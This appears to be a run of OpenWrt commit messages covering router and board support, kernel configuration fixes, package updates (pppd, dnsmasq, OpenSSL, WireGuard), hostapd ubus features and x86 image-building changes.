delays for rx and tx rgmii interface.
This patch adds rx/tx rgmii delay configuration from dts.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Backport patches which adds suport for the Wistron Neweb D19Q1 3G/4G modem,
used in D-Link DWR-960.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.
This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).
This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Allows proper usage of the ss tool. Otherwise, several errors and bad
data gets thrown:
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Cannot open netlink socket: Protocol not supported
Originally reported here: https://github.com/openwrt/packages/issues/8232
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Buffalo WSR-2533DHPL is a 2.4/5 GHz band 11ac router, based on MediaTek
MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 128 MiB
- Flash : SPI-NOR 16 MiB
- WLAN : 2.4/5 GHz 4T4R (2x MediaTek MT7615N)
- Ethernet : 10/100/1000 Mbps
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 8x/6x (3x buttons, 2x slide-switches)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from triangle-mark
- 57600n8
- Power : 12VDC 1.5A
Flash instruction using initramfs image:
1. prepare the TFTP server with the initramfs image renamed to
"linux.trx-recovery" and IP address "192.168.11.2"
2. press the "AOSS" button while powering on the WSR-2533DHPL
3. after 10 seconds, release the "AOSS" button, WSR-2533DHPL downloads
the initramfs image and boot with it automatically
4. on the initramfs image, download the sysupgrade image to the device
and perform sysupgrade with it
5. wait ~120 seconds to complete flashing
Switch position overview:
- slide-switch1 (2x positions)
- "AUTO"
- "MANUAL" (not connected to gpio)
- slide-switch2 (3x positions)
- "ROUTER"
- "AP" (not connected to gpio)
- "WB"
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[add note on switches, fix group->groups for state_default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This prepares support for models XAP-1610 and XWR-3150. Flashing
requires using Luxul firmware version:
1) 8.1.0 or newer for XAP-1610
2) 6.4.0 or newer for XWR-3150
and uploading firmware using "Firmware Update" web UI page.
Signed-off-by: Dan Haab <dan.haab@legrand.com>
Specifications:
Qualcomm/Atheros QCA9531 + QCA9886
2x 10/100 Mbps Ethernet, with 48v PoE
2T2R 2.4 GHz, 802.11b/g/n
2T2R 5 GHz, 802.11a/n/ac
128MB RAM
16MB SPI Flash
4x LED (Always On Power, LAN, WAN, WLAN)
Flashing Instructions:
Original firmware is based on OpenWRT, so flashing the sysupgrade image on
the factory firmware is sufficient.
Tested: Reset button, WAN LED, LAN LED, Power LED (always on, not much
to test), WLAN LED (one LED only for 2 interfaces, by default it gets
assigned to the first interface), MAC addresses (match factory firmware).
My LAN factory MAC address ends in F2.
use stock_mac art_loc
lan :f2 0x0
wan :f3 0x1002
5g :f4 0x6
2g :f5 0x5006
Since MAC address flash locations do not really match their use in vendor
firmware (e.g. address from 5 GHz calibration data is assigned to 2.4 GHz
WiFi), just calculate the MAC addresses with an offset based on 0x0 address.
Signed-off-by: Chris Morgan <macromorgan@hotmail.com>
[add MAC address comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use upstream latest git HEAD as it allows to remove the patches
700-radius-Prevent-buffer-overflow-in-rc_mksid,
701-pppd-Fix-bounds-check-in-EAP-code and
702-pppd-Ignore-received-EAP-messages-when-not-doing-EAP and
take in other fixes.
41a7323 pppd: Fixed spelling 'unkown' => 'unknown' (#141)
6b014be pppd: Print version information to stdout instead of stderr (#133)
cba2736 pppd: Add RFC1990 (Multilink) to the See Also section of the man page
f2f9554 pppd: Add mppe.h to the list of headers to install if MPPE is defined
ae54fcf pppd: Obfuscate password argument string
8d45443 pppd: Ignore received EAP messages when not doing EAP
8d7970b pppd: Fix bounds check in EAP code
858976b radius: Prevent buffer overflow in rc_mksid()
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Remove libressl patches; they are no longer needed as LibreSSl adde
support
Replace qt tests patch with one that disables all of them.
Refresh remaining one.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This changes the node names for the LEDs in the Netgear R6120
device-tree file to provide consistency with other devices.
Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
[improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The mlk5 kmod lacks all necessary build symbols
for kernel 4.14 (again).
Add missing symbols to avoid build failure on these targets.
Signed-off-by: Tan Zien <nabsdh9@gmail.com>
[rewrite commit message - reorder symbols]
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds support for the TP-Link TL-MR3420 v3, a later revision of the
v2 with an external gpiochip similar to TP-Link Archer C7 v4.
Specifications:
SOC: Qualcomm Atheros QCA9531
CPU: 650MHz
Flash: 4 MiB
RAM: 32 MiB
WLAN: Qualcomm Atheros QCA9531 bgn 2T2R 2.4 GHz
Ethernet: 5 ports (100M)
Flashing instructions:
- Flash factory image from OEM WebUI:
openwrt-ath79-tiny-tplink_tl-mr3420-v3-squashfs-factory.bin
- Sysupgrade from ath79 image:
openwrt-ath79-tiny-tplink_tl-mr3420-v3-squashfs-sysupgrade.bin
Signed-off-by: Lim Guo Wei <limguowei@gmail.com>
[remove SUPPORTED devices, some typo adjustments, fix WAN MAC
address, fix sorting in 01_leds]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Bump to 2.81rc5 and re-work ipset-remove-old-kernel-support.
More runtime kernel version checking is done in 2.81rc5 in various parts
of the code, so expand the ipset patch' scope to inlude those new areas
and rename to something a bit more generic.:wq
Upstream changes from rc4
532246f Tweak to DNSSEC logging.
8caf3d7 Fix rare problem allocating frec for DNSSEC.
d162bee Allow overriding of ubus service name.
b43585c Fix nameserver list in auth mode.
3f60ecd Fixed resource leak on ubus_init failure.
0506a5e Handle old kernels that don't do NETLINK_NO_ENOBUFS.
e7ee1aa Extend stop-dns-rebind to reject IPv6 LL and ULA addresses. We also reject the loopback address if rebind-localhost-ok is NOT set.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This target has been on kernel 4.19 for several months [1] and
already uses kernel 5.4 as testing kernel. Therefore, it should
not be necessary to keep support for kernel 4.14 as well.
[1] 2a82e0e1ca ("ipq806x: switch to 4.19 kernel version")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq8065/nbg6817]
201e359 Handle early exit when addrstring isn't set
fa4c464 Improve address logging on early exit messages (#83)
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
It seemed very confusing when trying to select the different variants of
hostapd which are somewhat scattered about under the menu 'Network'.
Moving all hostapd variants under a common submenu helps avoid
confusion.
Inspired-by: Kevin Mahoney <kevin.mahoney@zenotec.net>
[Fixup badly formatted patch, change menu name]
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
ab7a39a umdns: fix unused error
45c4953 dns: explicitly endian-convert all fields in header and question
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This reverts commit d7f21940bc.
Winbond W25Q256FV and W25Q256JV both uses 0xef4019 as JEDEC ID,
but only the latter has proper 4B_OPCODES support.
W25Q256FV has all 4B read instructions but it lacks a 4B page program
instruction, causing the entire flash to be read-only.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Missing config symbols could lead to build failures on kernel
4.14/4.19.
Signed-off-by: Tan Zien <nabsdh9@gmail.com>
[rephrase commit message - reorder symbols]
Signed-off-by: David Bauer <mail@david-bauer.net>
gcc 8 & 9 appear to be more picky with regards access alignment to
packed structures, leading to this warning in dns.c:
dns.c:261:2: error: converting a packed ‘struct dns_question’ pointer
(alignment 1) to a ‘uint16_t’ {aka ‘short unsigned int’} pointer
(alignment 2) may result in an unaligned pointer value
[-Werror=address-of-packed-member]
261 | uint16_t *swap = (uint16_t *) q;
Work around what I think is a false positive by turning the warning off.
Not ideal, but not quite as not ideal as build failure.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Reduce unnecessary flash wear and be tidy:
- Run the extraction only if necessary
- Extract temporary file to /tmp
- cleanup after execution
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
In RTL8367B (RTL8367RB/RTL8367R-VB), the driver in GPL tars of the
devices with this switch directly uses the ID of external interface
as a bit offset.
We should use the same way.
ref (RTL8367B):
- ASUS RT-N56U
- TP-Link Archer C2 v1
ref (RTL8367):
- TP-Link TL-WR2543ND v1
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
DSA requires master netdev to be up before any of its slave ports.
Bring it up during preinit so that the first lan port can be used
on failsafe.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
It's unknown which switch port is used on mikrotik_rbm11g.
Disable this image until someone with actual device fixes this problem.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This script isn't suitable for mt7621 anymore due to switching to DSA
and it needs a different preinit script.
Generic preinit logic in package/base-files has the ability to parse
board.json and pick preinit iface accordingly. Just remove this script
instead of moving it into subtargets.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
The 2nd gmac of mediatek soc ethernet may not be connected to a PHY
and a phy-handle isn't always available.
Unfortunately, mt7530 dsa driver assumes that the 2nd gmac is always
connected to switch port 5 and setup mt7530 according to phy address
of 2nd gmac node, causing null pointer dereferencing when phy-handle
isn't defined in dts.
This commit fix this setup code by checking return value of
of_parse_phandle before using it.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
mt7621 SoC has its own 'ralink_soc_info' structure with some
information about the soc itself. Pcie controller and pcie phy
drivers for this soc which are still in staging git tree make uses
of 'soc_device_attribute' looking for revision 'E2' in order to
know if reset lines are or not inverted. This way of doing things
seems to be necessary in order to make things clean and properly.
Hence, introduce this 'soc_device' to be able to properly use those
attributes in drivers. Also set 'data' pointer points to the struct
'ralink_soc_info' to be able to export also current soc information
using this mechanism.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
The original idea of bitbanged I2C is to use i2c-gpio-custom
Since i2c-gpio-custom is no longer available on 5.4, use SoC I2C instead
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
The name of each user port should be eth0..4, instead of lan1..4
and there is no WAN port. Rename them to match the official firmware.
To avoid conflict with the master port (gmac0), rename it to "dsa".
The official firmware assigns MAC address in this way:
eth0 = label mac
eth1 = label mac + 1
...
eth4 = label mac + 4
Since we have switched to DSA, it's possible to use different MAC for each port.
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
update dts and network/LED configuration for DSA driver.
sysupgrade from images prior to this commit with config preserved
will cause broken ethernet setup.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Acked-by: Jo-Philipp Wich <jo@mein.io>
[split commit]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
There's different gpio and ethernet drivers upstream for mt7621.
Update these two nodes to match upstream dt bindings.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Since commit f8c55dc ("MIPS: use generic dma noncoherent ops for
simple noncoherent platforms") changed MIPS dma handling, the mmc
driver fails because it doesn't have a dma mask is set.
So set the correct dma mask.
Signed-off-by: NeilBrown <neil@brown.name>
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
1. Use functions for cleaner code
2. Always execute WAN interface generic code
Before this change WAN interface code wasn't executed on all devices due
to an early "exit 0".
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
add module to support Mellanox Connect-X card
mlx4 supports ConnectX-3 series and previous cards
mlx5 supports Connect-IB/ConnectX-4 series and later cards
Signed-off-by: Tan Zien <nabsdh9@gmail.com>
Specifying root filesystem by device is non-deterministic for several
reasons:
- USB device unmeration order is not garunteeed for USB storage devs
- MMC devs ordering is determined by the instance of the MMC host
controller including non-storage SDIO devices which can throw off
numbering depending on kernel versions.
It is recommended to use partition UUID
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
JSON info files contain machine readable information of built profiles
and resulting images. These files were added in commit 881ed09ee6
("build: create JSON files containing image info").
They are useful for firmware wizards and script checking for
reproducibility.
Currently all JSON files are stored next to the built images, resulting
in up to 168 individual files for the ath79/generic target.
This patch refactors the JSON creation to store individual per image
(not per profile) files in $(BUILD_DIR)/json_info_files and create an
single overview file called `profiles.json` in the target directory.
Storing per image files and not per profile solves the problem of
parallel file writes. If a profiles sysupgrade and factory image are
finished at the same time both processes would write to the same JSON
file, resulting in randomly broken outputs.
Some target like x86/64 do not use the image code yet, resulting in
missing JSON files. If no JSON info files were created, no
`profiles.json` files is created as it would be empty anyway.
As before, this creation is enabled by default only if `BUILDBOT` is set.
Tested via buildroot & ImageBuilder on ath79/generic, imx6 and x86/64.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[json_info_files dir handling in Make, if case refactoring]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Disable ASLR and filter '-fno-plt' from CFLAGS: solves building when
ASLR enabled by basically disabling ASLR.
Solves errors similar to:
relocation R_X86_64_32S against `.rodata' can not be used when making a PIE object; recompile with -fPIE
or
module missing GLOBAL_OFFSET_TABLE
Suggested-by: 李国 <uxgood.org@gmail.com>
Acked-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Use in tree version of cake for kernels 4.19+ and backport features from
later kernel versions to 4.19.
Unfortunately PROVIDES dependency handling produces bogus circular
dependency warnings so whilst this package and kmod-sched-cake-oot
should be able to PROVIDE kmod-sched-cake this doesn't work.
Instead, remove the PROVIDES option and modify package sqm-scripts to
depend on the correct module independently.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
In preparation for dropping the out of tree cake module and using
in tree cake from upstream, rename the package to kmod-sched-cake-oot
(out of tree)
Initially add a PROVIDES kmod-sched-cake so that package dependencies
can be satisfied.
Ultimately this package will be removed when linux 4.14 is removed.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Recent backports to 5.5 and 5.4 broke our compat layer. This release is
to keep things running with the latest upstream stable kernels.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
The calibration patches for MT7620 unnecessarily export symbols and
populate never accessed function pointers. Remove all that and make
functions static as the only place where each of those functions is
called is within rt2800lib.c.
Also make code more readable by fixing indentation, removing
unnecessary parantheses and simplifying some instructions using
shorthands here and there.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
There were two changes between 1.1.1e and 1.1.1f:
- a change in BN prime generation to avoid possible fingerprinting of
newly generated RSA modules
- the patch reversing EOF detection we had already applied.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
* install kmod-hwmon-drivetemp by default
* wire up thermal zone
* fix fan GPIO polarity
* fix i2c-gpio GPIO_OPEN_DRAIN
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
drivers/ata/sata_oxnas.c: In function 'sata_oxnas_port_irq':
drivers/ata/sata_oxnas.c:2126:25: warning: left shift count >= width of type [-Wshift-count-overflow]
if (ap->qc_active & (1 << ATA_TAG_INTERNAL)) {
^~
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Albert has reported, that his DAP-2610 wont boot with the latest
snapshot and Fredrik has found out, that the device gets stuck at
"Waiting for root device ..." due to missing 5.4 kernel config symbol
CONFIG_MTD_SPLIT_WRGG_FW which was probably lost during the kernel
version bump.
Ref: https://forum.openwrt.org/t/dap-2610-bricked-help-needed
Fixes: 272e0a702a ("ipq40xx: add v5.4 support")
Suggested-by: Fredrik Olofsson <fredrik.olofsson@anyfinetworks.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The iso image need cdrom and iso9660 drivers to boot, otherwise it will
hang when mounting the root file system
Signed-off-by: 李国 <uxgood.org@gmail.com>
Add EFI platform bootable images for x86 platforms. These images can
also boot from legacy BIOS platform.
EFI System Partition need to be fat12/fat16/fat32 (not need to load
filesystem drivers), so the first partition of EFI images are not ext4
filesystem any more.
GPT partition table has an alternate partition table, we did not
generate it. This may cause problems when use these images as qemu disk
(kernel can not find rootfs), we pad enough sectors will be ok.
Signed-off-by: 李国 <uxgood.org@gmail.com>
[part_magic_* refactoring, removed genisoimage checks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Add GPT support to ptgen, so we can generate EFI bootable images.
Introduced two options:
-g generate GPT partition table
-G GUID use GUID for disk and increase last bit for all partitions
We drop The alternate partition table to reduce size, This may cause
problems when generate vmdk images or vdi images. We have to pad enough
sectors when generate these images.
Signed-off-by: 李国 <uxgood.org@gmail.com>
[fixed compilation on macOS]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
* queueing: backport skb_reset_redirect change from 5.6
* version: bump
This release has only one slight change, to put it closer to the 5.6
codebase, but its main purpose is to bump us to a 1.0.y version number.
Now that WireGuard 1.0.0 has been released for Linux 5.6 [1], we can put
the same number on the backport compat codebase.
When OpenWRT bumps to Linux 5.6, we'll be able to drop this package
entirely, which I look forward to seeing.
[1] https://lists.zx2c4.com/pipermail/wireguard/2020-March/005206.html
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
The last couple of TP-Link firmware releases for Archer C6 v2 (EU)
have switched to version 1.2.x. Bump the soft_ver to "1.2.1" to
allow firmware updates from the vendor web interface.
TP-Link vendor firmware releases supported by this change:
* Archer C6(EU)_V2_200110: soft_ver:1.2.1 Build 20200110 rel.60119
* Archer C6(EU)_V2_191014: soft_ver:1.2.0 Build 20191014 rel.33289
Signed-off-by: Georgi Vlaev <georgi.vlaev@gmail.com>
Commit ea50780 backported Airtime Queue Limits (AQL) from Linux 5.5
to OpenWrt's backports 5.4. However, this only enabled AQL for the
vanilla ath10k driver. This patch also enables it for ath10k-ct.
Tested on:
* 2xTP-Link Archer A7v5 (QCA9563/QCA988X)
* Backports version 5.4-rc8 & 5.4.27
* ath10k-ct and ath10k-ct-htt firmware version 014 to 017
* ath10k-ct driver versions dc025dc to 3d173a4 (CT_KVER-5.4)
* WPA2, 802.11krv
Tested since January 25, 2020.
Signed-off-by: Jose Olivera <oliverajeo@gmail.com>
If the abridged flag is set to 1 the APs that are listed in the BSS
Transition Candidate List are prioritized. If the bit is not set, the
APs have the same prioritization as the APs that are not in the list.
If you want to steer a client, you should set the flag!
The flag can be set by adding {...,'abridged': true,...} to the normal
ubus call.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Subscribe to beacon reports through ubus.
Can be used for hearing map and client steering purposes.
First enable rrm:
ubus call hostapd.wlan0 bss_mgmt_enable '{"beacon_report":True}'
Subscribe to the hostapd notifications via ubus.
Request beacon report:
ubus call hostapd.wlan0 rrm_beacon_req
'{"addr":"00:xx:xx:xx:xx:xx", "op_class":0, "channel":1,
"duration":1,"mode":2,"bssid":"ff:ff:ff:ff:ff:ff", "ssid":""}'
Signed-off-by: Nick Hainke <vincent@systemli.org>
[rework identation]
Signed-off-by: David Bauer <mail@david-bauer.net>
Enable kernel symbol CONFIG_RTC_DRV_CMOS which was enabled in 4.14 &
4.19
Fixes FS#2905 and now my APU2 picks up time from RTC
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
The root file system is getting too big for this device and this breaks
the ramips/rt305x build.
Do not build images for this board by default to fix this problem.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Replace the build time choice of json support with a package based
choice. Users requiring a json aware version of 'nft' may now install
nftables-json.
The default choice to fulfill the 'nftables' package dependency is
'nftables-nojson'
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Most targets upstream use 250Hz or even 1000Hz by default while
100Hz is hardcoded in OpenWrt's default config. Use upstream default
except for apm821xx which hardsets 1000Hz instead of platform default of
250Hz.
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
[Apply same changes to 5.4]
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Do not export static functions, they are anyway not referenced by any
code in a different module.
This fixes the following compile warning:
WARNING: "rt2800_rf_aux_tx0_loopback" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_write_dc" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_rf_configstore" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_do_sqrt_accumulation" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_rf_configrecover" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_loft_search" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_iq_search" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_setbbptonegenerator" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
WARNING: "rt2800_rf_aux_tx1_loopback" [/drivers/net/wireless/ralink/rt2x00/rt2800lib] is a static EXPORT_SYMBOL_GPL
Acked-by: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Building Linux kernel version 5.4.x with GCC8 ends up
with internal compiler error. The workaround on this issue
can be introdution of additional compiler option "--mmpy-option=2"
Signed-off-by: Evgeniy Didin <Evgeniy.Didin@synopsys.com>
Cc: Alexey Brodkin <abrodkin@synopsys.com>
Cc: Petr Štetiar <ynezz@true.cz>
Cc: Hauke Mehrtens <hauke@hauke-m.de>
Cc: John Crispin <john@phrozen.org>
When some libopenssl options change curl will have to be rebuild to
adapt to those changes, avoiding undefined reference errors or features
disabled in curl.
Add CONFIG_OPENSSL_ENGINE, CONFIG_OPENSSL_WITH_COMPRESSION and
CONFIG_OPENSSL_WITH_NPN to PKG_CONFIG_DEPENDS so it will trigger
rebuild every time the options are changed.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Building of ath79-tiny has uncovered following:
Package kmod-rtl8723bs is missing dependencies for the following libraries:
mmc_core.ko
So add this missing dependency.
Fixes: 8c26d67a67 ("mac80211: realtek: add staging driver for RTL8723BS SDIO module")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Armada 370 processors have only 16 double-precision registers. The
change introduced by 8dcc108760 ("toolchain: ARM: Fix toolchain
compilation for gcc 8.x") switched accidentally the toolchain for mvebu
cortexa9 subtarget to cpu type with 32 double-precision registers. This
stems from gcc defaults which assume "vfpv3-d32" if only "vfpv3" as mfpu
is specified. That change resulted in unusable image, in which kernel
will kill userspace as soon as it causing "Illegal instruction".
Ref: https://forum.openwrt.org/t/gcc-was-broken-on-mvebu-armada-370-device-after-commit-on-2019-03-25/43272
Fixes: 8dcc108760 ("toolchain: ARM: Fix toolchain compilation for
gcc 8.x")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tegra 2 processors have only 16 double-precision registers. The change
introduced by 8dcc108760 ("toolchain: ARM: Fix toolchain compilation
for gcc 8.x") switched accidentally the toolchain for tegra target to cpu
type with 32 double-precision registers. This stems from gcc defaults
which assume "vfpv3-d32" if only "vfpv3" as mfpu is specified. That
change resulted in unusable image, in which kernel will kill userspace as
soon as it causing "Illegal instruction".
Ref: https://forum.openwrt.org/t/gcc-was-broken-on-mvebu-armada-370-device-after-commit-on-2019-03-25/43272
Fixes: 8dcc108760 ("toolchain: ARM: Fix toolchain compilation for
gcc 8.x")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
The previous rework of x86 image creation done in commit cb007a7bf6
("x86: switch image generation to new code") removed images of separate
squashfs and ext4 filesystems which are handy for example in testing
under QEMU.
So this patch adds back creation of those missing rootfs images for ext4
and squashfs based filesystems.
Fixes: cb007a7bf6 ("x86: switch image generation to new code")
Signed-off-by: Paul Spooren <mail@aparcar.org>
[commit subject and description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The previous rework of x86 image creation done in commit cb007a7bf6
("x86: switch image generation to new code") broke the padding in
images.
sda: p2 size 212992 extends beyond EOD, enabling native capacity
sda: p2 size 212992 extends beyond EOD, truncated
sd 0:0:0:0: [sda] Attached SCSI disk
SQUASHFS error: squashfs_read_data failed to read block 0x2cc556
unable to read id index table
VFS: Cannot open root device "PARTUUID=ac5c9cd8-02" or unknown-block(8,2): error -5
Please append a correct "root=" boot option; here are the available partitions:
0800 19761 sda
driver: sd
0801 16384 sda1 ac5c9cd8-01
0802 2865 sda2 ac5c9cd8-02
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,2)
Tested with x86/64 with Docker (squashfs), qemustart (ext4/squashfs) and
virtualbox (ext4/squashfs).
Ref: FS#2935
Fixes: cb007a7bf6 ("x86: switch image generation to new code")
Suggested-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Paul Spooren <mail@aparcar.org>
[commit subject and description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This adds patches to avoid possible application breakage caused by a
change in behavior introduced in 1.1.1e. It affects at least nginx,
which logs error messages such as:
nginx[16652]: [crit] 16675#0: *358 SSL_read() failed (SSL: error:
4095126:SSL routines:ssl3_read_n:unexpected eof while reading) while
keepalive, client: xxxx, server: [::]:443
Openssl commits db943f4 (Detect EOF while reading in libssl), and
22623e0 (Teach more BIOs how to handle BIO_CTRL_EOF) changed the
behavior when encountering an EOF in SSL_read(). Previous behavior was
to return SSL_ERROR_SYSCALL, but errno would still be 0. The commits
being reverted changed it to SSL_ERRO_SSL, and add an error to the
stack, which is correct. Unfortunately this affects a number of
applications that counted on the old behavior, including nginx.
The reversion was discussed in openssl/openssl#11378, and implemented as
PR openssl/openssl#11400.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Without this patch, when using rev 3 of the Atheros AR9344 SoC, the
gigabit switch (AR8327) does not work or works very erratically.
This is a re-spin of http://patchwork.ozlabs.org/patch/419857/ with a
different PLL value, according to the feedback from several users
(including myself) as shown here:
https://openwrt.org/toh/mikrotik/rb2011uias#tracking_reported_experience_with_suggested_patch_for_the_5_gige_ports
Performance is acceptable: testing L3 forwarding without NAT yields a
performance of 370 Mbit/s (iperf3 TCP) and 41 Kpps (iperf3 UDP with 64
bytes payload). Both tests show that 100% of CPU time is spent on softirq.
A similar fix for a different device (RB2011) was added in e457d22261
("Make GBit switch work on RB2011").
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
The bootloader does not always initialize the MDIO pins before booting
Linux. E.g. on version "U-Boot 2012.07 [Chaos Calmer 15.05.1,r35193] (Jul
25 2017 - 11:36:26)" this is the case when booting automatically without
activating the U-Boot console.
Without this change, the kernel boot will complain about missing PHYs:
libphy: ipq40xx_mdio: probed
ar40xx c000000.ess-switch: Probe failed - Missing PHYs!
libphy: Fixed MDIO Bus: probed
With this change it will work as expected:
libphy: ipq40xx_mdio: probed
ESS reset ok!
ESS reset ok!
libphy: Fixed MDIO Bus: probed
Ref: GH-2835
Tested-by: Fredrik Olofsson <fredrik.olofsson@anyfinetworks.com>
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit description from Fredrik, subject facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Seems to be working fine on my a64-olinuxino, it's 99.9% upstream stuff
anyway. Lets start wider userbase testing.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This is backport of v5.6 patch.
Allwinner A64 SoC has separate supplies for PC, PD, PE, PG and PL. This
patch adds regulators for them to the pinctrl node.
Exception is PL which is used by the RSB bus. To avoid circular
dependencies, VCC-PL is omitted.
On boards with eMMC, VCC-PC is supplied by ELDO1, instead of DCDC1.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
There is a red LED marked as `GPIO_LED1` on the silkscreen and connected
to PE17, so use this LED for status signalization.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Specifications:
SoC: Allwinner A64 (1.2 GHz Quad-Core ARM Cortex-A53 64-bit)
RAM: 1GB or 2GB RAM DDR3L @ 672Mhz
Flash: 0/4/16GB eMMC flash memory for storage and boot
MicroSD card connector for cards up to 32GB
Debug: serial UART debug header with 0.1" pins
Wired connectivity: 10/100/1000Mbps GbE Ethernet
Wireless connectivity: on-board RTL8723BS 1T1R 802.11bgn WiFi and
Bluetooth 4.0 module with built-in antenna
(only available in the A64-OLinuXino-1G4GW)
Flashing instructions:
Standard sunxi SD card installation procedure - copy eMMC image to SD
card, insert in into SD card slot on the device and boot. You should see
something like following if the eMMC is detected correctly:
mmcblk2: mmc2:0001 P1XXXX 3.60 GiB
mmcblk2boot0: mmc2:0001 P1XXXX partition 1 16.0 MiB
